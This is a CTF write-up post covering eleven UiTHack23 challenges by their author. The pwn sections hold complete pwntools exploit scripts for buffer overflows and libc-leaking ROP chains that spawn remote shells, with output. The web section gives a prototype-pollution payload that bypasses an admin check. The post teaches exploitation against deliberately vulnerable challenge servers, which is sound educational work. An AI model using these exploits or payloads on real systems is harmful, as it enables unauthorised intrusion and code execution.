Home UiTHack23
Post
Cancel

UiTHack23

UiTHack is a yearly beginner-friendly ctf-competition hosted by students at UiT (with a couple not so beginner-friendly challenges aswell this year out of the total of 31). This year was my first time participating in the organizing of the event. The challenges can be found here.
Here are the writeups for the 11 challenges I wrote for UiTHack23.

Pwn - Wizardry

Pwn - 50pts

Gryffindor has gotten their flag stolen by another house. Rumour has it that it is hidden behind this spell.
Break the spell to get the flag!

The binary and source-code were provided for this challenge.

The signal handler in the code calls the print_flag function when a segmentation fault occurs, so we will get the flag by breaking the program with a segmentation fault.

The program reads in 100 bytes with fgets, but the buffer it reads in to is only 40 bytes in size, making us able to overflow the buffer to crash the program (with a segmentation fault).

You get the flag by writing more than 54 bytes to the program.

1
2
3
4
$ python3 -c "print('a'*55)" | nc host 8005
Give me some input:
>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
UiTHack23{W1ng4rd1um_l3vi0s4aa4}

Pwn - Ollivanders

Pwn - 100pts

Before you go to Hogwarts you need to buy yourself a proper wand.
Visit Mr. Ollivander’s shop and see if he has something interesting to sell you!

The binary and source-code were provided for this challenge.

Looking at the source code we can see that we can only buy items from the shop. We do not have enough galleons to buy the flag, but we can buy a wand for 7g.

Buying the Holly wand we are prompted with

1
How many would you like to buy?

Looking at the source code we can see that our input is multiplied with the price, and subtracted from our galleons amount

1
2
3
4
5
6
7
8
9
if(item == 1){
  amount = buy_amount();
  if((galleons - 7 * amount) < 0){
    puts("Not enough galleons!\n");
    return galleons;
  }
  galleons -= 7 * amount;
  puts("\nYou have purchased the Holly wand!");
}

We can input any amount as there is no check for it

1
2
3
4
5
6
7
8
int buy_amount(){
  int amount;
  puts("\nHow many would you like to buy?");
  printf(">> ");
  if(scanf("%d", &amount) == 0)
    exit(0);
  return amount;
}

This means that we can input a negative number to get more galleons, becuase of how to program calculates the new galleons amount

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
You have 20g

What item would you like to buy?
1. Holly wand      7g
2. Flag            50g
>> 1

How many would you like to buy?
>> -10
You have purchased the Holly wand!

You have 90 galleons

What item would you like to buy?
1. Holly wand      7g
2. Flag            50g
>> 2
You have purchased the flag!

UiTHack23{Why_w0uld_y0u_buy_4_n3gat1ve_am0un7?}
1
UiTHack23{Why_w0uld_y0u_buy_4_n3gat1ve_am0un7?}

Pwn - Mp3 Player

Pwn - 200pts

We found an old mp3 player laying around and decided to connect it to the internet for everyone to listen to its good ol’ hits.
However, we might have messed up some of the instructions when setting it up…

The binary and the source-code were provided for this challenge.

The C-code uses the gets() function to gather user input, which is vulnerable to a buffer overflow attack where we can overwrite the instruction pointer rip to call the function printing the flag.

We need to find the amount of bytes needed to overwrite the instruction pointer rip, and use that as padding before we overwrite rip with the function address of call_me_maybe, which gives us the flag.

The offset before overwriting the instruction pointer can be found with the python script find_offset.py (requires pwntools pip install pwntools), or by manually segmentation faulting the program, and find the amount of bytes needed for the segmentation fault to occur.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

elf = ELF("./mp3_player", checksec=False)
p = elf.process()

# Overflow the buffer
p.recvuntil(b"ABBA")
p.sendline(cyclic(150))
p.wait()

# Read corefile to get RIP offset
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 4))
print(offset)

The function address we want to overwrite the instruction pointer rip with can be found with pwntools’ elf.symbols["call_me_maybe"] or with gdb

1
2
3
4
5
6
$ gdb mp3_player
$ disas call_me_maybe
Dump of assembler code for function call_me_maybe:
   0x00000000004012fb <+0>:	endbr64
   0x00000000004012ff <+4>:	push   %rbp
   0x0000000000401300 <+5>:	mov    %rsp,%rbp

Giving the address of the function 0x4012fb

The payload is then crafted by sending 40 bytes (our found offset) and the function address 0x4012fb as bytes.

The exploit-script ended up as the following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.arch = "amd64"
elf = ELF("./mp3_player", checksec=False)

if args.LOCAL:
    p = elf.process()
else:
    host = args.HOST or "localhost"
    port = int(args.PORT or 8006)
    p = remote(host, port)

offset = 40
ret_addr = elf.symbols["call_me_maybe"]

payload = b'A' * offset
payload += p64(ret_addr)

p.recvuntil(b"ABBA")
p.sendline(payload)
p.interactive()
1
UiTHack23{H3r35_MY_4dDr355_50_caLL_M3_may83}

Alternative solution: Shell on the server

You can get a shell on the server running the mp3_player binary using the same technique as in the tamagotchi challenge.

The exploitation method used to get a shell on the server for this challenge is the same as for the tamagotchi challenge, and concepts are described more thoroughly in that writeup.
As a short summary, we first find the libc version used by leaking the address of the puts-function from the got-table (global offset table), after we have found the offset to the rip-register

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
offset = 40

# First ROP-chain to leak puts address in libc
rop = ROP(elf)
rop.raw(b"\x90"*offset)
rop.puts(elf.got["puts"])
rop.call(elf.symbols["main"])

# Send payload
p.recvuntil(b"ABBA")
p.sendline(rop.chain())

# Parse the leaked address, and set libc base address
p.recvuntil(b"song\n")
puts_leak = u64(p.recvline().rstrip().ljust(8, b"\x00"))
log.info(f"Puts address found: {hex(puts_leak)}")

With the address of puts we can figure out the libc-version being used by the server (same libc as used in tamagotchi, and is the libc used by docker for 20.04 images).

Knowing the libc-version we can then call system('/bin/sh') to get shell on the server, with a second rop-chain (note that we in the first rop-chain redirected the program execution back to the main function so that we could send out second rop-chain).

1
2
3
4
5
6
7
8
9
10
11
12
13
libc.address = puts_leak - libc.symbols["puts"]

# Second ROP-chain to get shell on the server
ret_addr = rop.find_gadget(["ret"])[0]
rop = ROP(libc)
rop.raw(b"\x90"*offset)
rop.raw(p64(ret_addr))
rop.system(next(libc.search(b"/bin/sh")))

# Send payload
p.recvuntil(b"ABBA")
p.sendline(rop.chain())
p.interactive()

By running the script with the correct libc-version of the server we get the shell, and have used an alternative (and harder) way to get the flag than the intended method described at first in this writeup.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ python3 exploit.py
[+] Opening connection to host on port 8006: Done
[*] Loaded 14 cached gadgets for './mp3_player'
[*] Puts address found: 0x7f53a2238420
[*] Loaded 196 cached gadgets for './libc.so'
[*] Switching to interactive mode

Could not play the requested song
$ ls
flag.txt
mp3_player
$ id
uid=1000(mp3) gid=1000(mp3) groups=1000(mp3)

Shell script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.arch = "amd64"
elf = ELF("./mp3_player", checksec=False)
libc = ELF("./libc.so", checksec=False) # Libc used by mp3_player

if args.LOCAL:
    p = elf.process()
else:
    host = args.HOST or "host"
    port = int(args.PORT or 8006)
    p = remote(host, port)

offset = 40

# First ROP-chain to leak puts address in libc
rop = ROP(elf)
rop.raw(b"\x90"*offset)
rop.puts(elf.got["puts"])
rop.call(elf.symbols["main"])

# Send payload
p.recvuntil(b"ABBA")
p.sendline(rop.chain())

# Parse the leaked address, and set libc base address
p.recvuntil(b"song\n")
puts_leak = u64(p.recvline().rstrip().ljust(8, b"\x00"))
log.info(f"Puts address found: {hex(puts_leak)}")
libc.address = puts_leak - libc.symbols["puts"]

# Second ROP-chain to get shell on the server
ret_addr = rop.find_gadget(["ret"])[0]
rop = ROP(libc)
rop.raw(b"\x90"*offset)
rop.raw(p64(ret_addr))
rop.system(next(libc.search(b"/bin/sh")))

# Send payload
p.recvuntil(b"ABBA")
p.sendline(rop.chain())
p.interactive()

Pwn - Remote tamagOtchi Pet

Pwn - 500pts

You might remember the Tamagotchi from the late 90’s and early 2000’s. Good news, we have improved the tamagotchi by putting everyone’s favourite pet on the web!

The flag is located in the home directory on the server.

The binary and the source-code were provided for this challenge.

Looking at the challenge text we see that we can expect this to be a ROP-challenge (capitalized letters in challenge name). Another way to see this is a ROP-challenge is that we need to get a shell to view the flag, and does not have function clearly giving us the shell.

To get a shell on the server we need the following:

  • The offset to the rip-register
  • The libc version being used by the server
  • The address of the system() command so that we can call /bin/sh

Looking through the source code we see that gets() have been used two places in the code, and as we know this indicates a buffer overflow. We choose to exploit the one in the feed() function as it requires less user-input to get there.

Finding the offset

As in the mp3_player challenge we can find the offset with the following script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

elf = ELF("./tamagotchi", checksec=False)
p = elf.process()

# Overflow the buffer
p.recvuntil(b">> ")
p.sendline(b"2")
p.recvuntil(b">> ")
p.sendline(cyclic(150))
p.wait()

# Read corefile to get RIP offset
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 4))
log.success(f"Offset is {offset}")

Which finds the offset to be 40

1
2
3
$ python3 find_offset.py
[+] Parsing corefile...: Done
[+] Offset is 40

Finding the libc version

To find the libc version used by the server we can leak the address of one or multiple functions that are loaded into the GOT (global offset table).
This can be done by overflowing the buffer gets() writes to, and call puts() or printf() to print a function address to the terminal.
The following ROP-chain would look like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.arch = "amd64"
elf = ELF("./tamagotchi", checksec=False)
p = elf.process()

offset = 40
# Create the ROP chain to overflow the buffer with
rop = ROP(elf)
rop.raw(b"A"*offset)
rop.puts(elf.got["puts"])
rop.call(elf.symbols["feed"])

# Send the payload
p.recvuntil(b">> ")
p.sendline(b"2")
p.recvuntil(b">> ")
p.sendline(rop.chain())
p.recvuntil(b"\n\n")

Overflowing the buffer with this payload will make the program print the address of the puts() function for us (which we can convert from bytes to hex)

1
2
puts_leak = u64(p.recvuntil(b"\n").rstrip().ljust(8, b"\x00"))
log.info(f"Puts address found: {hex(puts_leak)}")

The puts-address for this run of the program (because of ASLR)

1
2
3
4
5
$ python3 exploit.py
<snip>
[*] Loaded 14 cached gadgets for './tamagotchi'
[*] Puts address found: 0x7f26cebb4420
<snip>

Knowing the address in libc for the puts() function we can look up which version of libc it is with e.g libc.rip. Multiple possible versions show up here, so we could leak the address of another function to make sure we get the correct one by changing from the puts function to another function in the GOT (e.g printf). Alternatively to libc.rip this github repo can be used (which is the backend of the site, and is linked to by the site).

1
rop.puts(elf.got["printf"])

We find out that the libc version being used is (both works)

1
2
libc6_2.31-0ubuntu9.8_amd64
libc6_2.31-0ubuntu9.9_amd64

Getting shell

Knowing the libc version we now can call system("/bin/sh") to get a shell on the box.

To do such we load in the libc into our exploit script, and set the base address of the libc so that it matches our puts leak.

1
2
libc = ELF("./libc.so", checksec=False)
libc.address = puts_leak - libc.symbols["puts"]

We can then craft a ROP-chain calling system("/bin/sh") for us when we overflow the same buffer once again (remember that we called the feed() function at the end of our first ROP-chain). Note that we need the ret-instruction in out ROP-chain to maintain stack-alignment, or else the payload won’t work.

1
2
3
4
5
6
7
8
9
ret_addr = rop.find_gadget(["ret"])[0]
rop = ROP(libc)
rop.raw(b"A"*offset)
rop.raw(p64(ret_addr))
rop.system(next(libc.search(b"/bin/sh")))

p.recvuntil(b">> ")
p.sendline(rop.chain())
p.interactive()

Running the exploit-script gives us shell on the server

1
2
3
4
5
6
7
8
9
10
11
12
13
$ python3 exploit.py
[*] Loaded 14 cached gadgets for './tamagotchi'
[*] Puts address found: 0x7f6e88316420
[*] Loaded 196 cached gadgets for './libc.so'
[*] Switching to interactive mode
Your fed your pet with AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a@
You pet is full

$ ls
flag.txt
tamagotchi
$ cat flag.txt
UiTHack23{t4ma_G0tcha_5h3ll}
1
UiTHack23{t4ma_G0tcha_5h3ll}

Full exploit script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.arch = "amd64"
elf = ELF("./tamagotchi", checksec=False)
libc = ELF("./libc.so", checksec=False) # Libc used by tamagotchi

if args.LOCAL:
    p = elf.process()
else:
    host = args.HOST or "localhost"
    port = int(args.PORT or 8009)
    p = remote(host, port)

offset = 40

# First ROP-chain to leak puts address in libc
rop = ROP(elf)
rop.raw(b"A"*offset)
rop.puts(elf.got["puts"])
rop.call(elf.symbols["feed"])

# Send payload
p.recvuntil(b">> ")
p.sendline(b"2")
p.recvuntil(b">> ")
p.sendline(rop.chain())
p.recvuntil(b"\n\n")

# Parse the leaked address, and set libc base address
puts_leak = u64(p.recvuntil(b"\n").rstrip().ljust(8, b"\x00"))
log.info(f"Puts address found: {hex(puts_leak)}")
libc.address = puts_leak - libc.symbols["puts"]

# Second ROP-chain to get shell on the server
ret_addr = rop.find_gadget(["ret"])[0]
rop = ROP(libc)
rop.raw(b"A"*offset)
rop.raw(p64(ret_addr))
rop.system(next(libc.search(b"/bin/sh")))

# Send payload
p.recvuntil(b">> ")
p.sendline(rop.chain())
p.interactive()

Rev - Forrest

Rev - 50pts

My mama always said, “Binaries are not great for hiding things”.

An executable program were provided for this challenge.

The task hints to the flag being hidden inside the binary.

Running the linux-command strings on the binary will give us the test strings within the binary. One of these strings will be the flag.

1
$ strings forrest

Altneratively you can in addition to strings use the linux-command grep to only get the flag and no other strings.

1
$ strings forrest | grep "UiTHack23"
1
UiTHack23{L1f3_w4s_lik3_4_b0x_0f_ch0col47e5}

Rev - Pokemon Battle

Rev - 400 pts

Hello there!
Welcome to the world of Pokemon!
My name is Oak!
People call me the Pokemon Prof!

Show me your Pokemon skills by beating all 5 gym leaders, and I will reward you with a flag!

An executable program were provided for this challenge.

Running the command strings on the attached executable reveals that the program is written in python and packed into an executable.

1
2
3
4
5
6
$ strings pokemon
<snip>
zPYZ-00.pyz
4libpython3.8.so.1.0
<snip>
pydata

Such compiling of python code into executables can be done using pyinstaller. We can extract the pyinstaller files used to compile the program using pyinstxtractor.

1
$ python3 pyinstxtractor.py pokemon

With the extracted files we can view the source code of the python files by decompiling the .pyc-files using uncompyle6.

1
$ uncompyle6 <filename>

From main.pyc we get the encrypted flag

1
2
3
4
5
$ uncompyle6 main.pyc
<snip>
  else:
    Flag().print_flag(b'a\x1a<#RT\x08ZF\x16SC\x1c\\Rh\x00\\B\x0e\\,[\x06l\x03\x0f\x04*\\\x01B\x15')
<snip>

Within the directory of the extracted files (probably called pokemon_extracted) we have a directory storing the imported python-files, PYZ-00.pyz_extracted. This directory has a file get_flag.pyc.

By decompiling it we get the encryption method and the key

1
2
3
4
5
6
7
8
9
10
11
12
$ uncompyle6 get_flag.pyc
class Flag:

    def __init__(self):
        self.key = b'4shk37chum4shk37chum4shk37chum4sh'

    def print_flag(self, flag):
        flag = self.xor(flag, self.key)
        <snip>

    def xor(self, data, key):
        return bytearray((a ^ b for a, b in zip(*map(bytearray, [data, key]))))

By xor-ing the encrypted flag (from main, passed as flag argument to the print_\flag function) and the key, we get the flag

1
UiTHack23{g0t7a_c47ch_3m_4ll_151}

Rev - Pokemon Battle V2

Rev - 200 pts
Required: Solved “Pokemon Battle”

The feedback for the V1 of the Pokemon Battle has been reviewed, and the following changes have been made:

  • Gym leaders have less hp
  • The amount of gym leaders have been reduced from 5 to 3
  • Patched unintended way to view the flag

This challenge were the hardest rev-challenge, even though it was only 200 points, but it required Pokemon Battle to be solved before this one unlocked. It was set to 200 to not give the python-reversers too much of an advantage (900 points for solving 2 python-rev challenges which were kind of similar).


NOTE: The beginning part is explained further in Pokemon Battle V1

An executable program were provided for this challenge.
Running the program does the same as in version 1, however a secret code has been added to skip to the hall-of-fame, which is obtained after beating all the trainers. The secret code is also obtained then, and is C0mpl3te_P0ked3x.

The program is written in python and compiled into an executable with pyinstaller.
We can extract the contents of the executable using pyinstxtractor.

1
$ python3 pyinstxtractor.py pokemon_v2

Using the same method as version 1 of the program does not work, as pyarmor has been use to obfuscate the source code

1
2
3
4
5
$ uncompyle6 main.pyc
from pytransform import pyarmor_runtime
pyarmor_runtime()
__pyarmor__(__name__, __file__, b'PYARMOR\x00\x00\x03 ...
<snip>

Although pyarmor in this case probably could be broken with a tool like PyArmor-Unpacker, an easier approach would be to rewrite the get_flag-file so that we can print the decrypted flag instead of getting the encrypted version that the game gives us.

We move the required files from the PYZ-00.pyz_extracted/ directory into the same directory as main.pyc (pokemon.pyc, battle.pyc, pytransform.pyc), and run it.

1
2
3
4
5
6
7
$ python3 main.pyc
Traceback (most recent call last):
  File "<dist/obf/main.py>", line 3, in <module>
  File "<frozen main>", line 5, in <module>
  File "<battle.py>", line 1, in <module>
  File "<frozen battle>", line 6, in <module>
ModuleNotFoundError: No module named 'get_flag'

This error tells us we are missing get_file.py/pyc. Instead of moving the already existing one (giving us the encrypted flag), we can write a new one which prints the original flag. Knowledge from version 1 of the game would hint that the flag is passed to the function in get_flag.py.

By creating a file get_flag.py, and solving the errors that the program gives us when trying to run main.pyc, we end up with the following get_flag.py file

1
2
3
class Flag:
	def print_flag(self, flag):
		print(flag)

where we print the flag passed as the argument to print_flag

1
UiTHack23{Y0u_ar3_7he_p0k3mon_ch4mpi0n}

Web - Bypass

Web - 250pts

I’ve hid the flag behind this super secure admin login prompt. Are you able to login as admin to retrieve the flag?

Unfortunately this challenge were down for most of the ctf due to some issues in my express-server implementation, which allowed everyone to get the flag after one person solved it (first solver had to solve it correctly). A patch never came, and tbf I don’t really know why the issue occured (maybe I some day will look at it).


The backend-code app.js were provided with this challenge.
The source code running the server is vulnerable to a prototype poisoning attack at the /flag endpoint.

We need to bypass the first if-check by not having the admin property set to true in the post-request, but we then need the admin property set to true for the second if-check.

As the server uses Object.assign to create a new user-object we can send a post-request with json, with the __proto__ property set with "admin":true, to make Object.assign set the admin property to true for the object it creates. This does bypass the first if-check as it does not check for "admin":true inside the __proto__ property.

Payload

Sending a json post-request with the following payload will retrieve the flag

1
2
3
4
5
{
  "__proto__": {
    "admin":true
  }
}

This bypasses the first if-check, as the admin property is not set, but when Object.assign copies the properties of the user object and the request-body object it sets the admin property to true for the new userAuth object.

1
UiTHack23{h3y_d0nt_p01s0n_my_pr07otyp3}

Crypto - Hotel Caesar

Crypto - 50pts

Welcome to Caesar hotel!
We hope you will enjoy your stay.
Here is a welcome gift from all of us:

1
RfQExzh23{x_eljb_clo_rp_x_eljb_clo_vlr}

The cipher used is a rotation cipher (also called caesar cipher) with 3 rotations(numbers are not rotated). You can use e.g. Cyberchef or Dcode.fr to decrypt the flag.

1
UiTHack23{a_home_for_us_a_home_for_you}

Crypto - Lion King

Crypto - 50pts

Walking through the jungle with Timon and Pumbaa you stumble across some text scratched into the bark of a tree. Can you figure out the original text?

1
VWlUSGFjazIze0g0a3VuNF9tNDdhdDQhfQ==

The flag is encoded using base64 (recognized by the ‘==’ at the end).
It can be decoded in the (unix) terminal

1
2
$ echo VWlUSGFjazIze0g0a3VuNF9tNDdhdDQhfQ== | base64 -d
UiTHack23{H4kun4_m47at4!}

or using an online decoder (e.g. Cyberchef).

1
UiTHack23{H4kun4_m47at4!}

Misc - So You Think You Can Math

Misc - 100pts

Do you remember your pluses and minuses? What about your multiplications and divisions? Prove it to me by answering 300 questions, and I will give you a flag!

This is a remote challenge which prompted the users with 300 math-questions that had to be answered correctly before the flag were given. Some starting code were given to help with connecting to the server

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote("host", 8010)
p.recvuntil(b"Ready?")
p.sendline(b"Yup")
p.recvline()

# Implement your solution here

p.interactive()

Expanding a little on this script would solve the challenge

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote("host", 8010)
p.recvuntil(b"Ready?")
p.sendline(b"Yup")
p.recvline()

for i in range(300):
    question = p.recvline().decode().strip().split(": ")[1]
    p.sendline(str(int(eval(question))).encode("utf-8"))

p.interactive()
1
UiTHack23{y0u_kn0w_m4th_0r_jus7_lucky_gu3ss1ng?}
This post is licensed under CC BY 4.0 by the author.